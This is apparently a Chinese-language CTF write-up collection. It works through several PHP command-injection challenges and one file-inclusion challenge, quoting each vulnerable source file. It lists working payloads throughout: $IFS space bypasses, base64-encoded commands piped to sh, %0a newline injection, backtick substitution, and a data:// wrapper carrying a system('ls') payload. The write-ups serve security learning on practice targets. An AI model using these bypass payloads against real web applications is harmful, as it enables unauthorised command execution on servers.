[GXYCTF2019]Ping Ping Ping
ping 127.0.0.1 正常

?ip=127.0.0.1|ls

?ip=127.0.0.1|cat flag.php

过滤了空格
?ip=127.0.0.1|cat${IFS}flag.php

没绕过,可能过滤了{ 或者$
?ip=127.0.0.1|cat$IFS$1flag.php

绕过了,但是应该过滤了flag
?ip=127.0.0.1|cat$IFS$1fla?.php
还是不行,问好应该也被过滤了
那先看下index.php吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| /?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "
"; print_r($a); }
?>
|
看到了过滤字符的代码
正则也绕过不过去了,看了下别人的wp,学了个新姿势,base64加密绕过
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

看看这个新姿势
1 2 3
| ?ip=127.0.0.1;cat$IFS$1`ls` `ls` 相当于system(ls); 然后cat显示内容
|
pwnthebox-exec1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
$target = $_REQUEST[ 'ip' ]; $target=trim($target); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 1 ' . $target ); }
echo "<pre>{$cmd}</pre>"; ?>
|
发现管道符都被过滤了
str_replace函数有漏洞,一般可以双写绕过,或者大小写绕过,但这里是没法双写绕过的
这里可以用%0a绕过(可能str_replace也只匹配一行)
1 2 3
| ?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat pwnthebox.txt
|
pwnthebox-exec2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
$ip = isset($_POST['ip'])?$_POST['ip']:die();
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){ die("ip 格式错误!"); }
echo strlen($ip);
if(strlen($ip)<7||strlen($ip)>21){ die("ip 长度错误!"); }
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' .$ip ); }else { $cmd = shell_exec( 'ping -c 1 ' .$ip ); }
echo "<pre>{$cmd}</pre>";
|

先看这个正则,没有在末尾加$
所以后面还可以写其他的
ip=127.0.0.1 | ls
又因为ip长度有限制
ip=127.0.0.1 | cat *.txt
pwnthebox-exec3
1 2 3 4 5 6
| <?php if(strlen($_GET[1])<8){ echo shell_exec($_GET[1]); }
?>
|

又是长度限制
?1=cat *.*
刚好绕过
ctfhub-综合过滤练习
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
|
?ip=127.0.0.1%0als
有个flag_is_here的目录
?ip=127.0.0.1%0als${IFS}fla?_is_here
看到果然在里面
?ip=127.0.0.1%0acd${IFS}fla?_is_here%0atac${IFS}*.php
攻防世界-Web_php_include
1 2 3 4 5 6 7 8 9
| <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
|
这一题不是很难,然后就借着这题收集了一些姿势
姿势一
过滤php:// 主要是为了过滤php://input
然后可以大小写绕过

姿势二
过滤了,php://input
可以用data:// 就等价的
?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==
<?php system('ls'); ?>
base64编码为PD9waHAgc3lzdGVtKCdscycpOyA/Pg==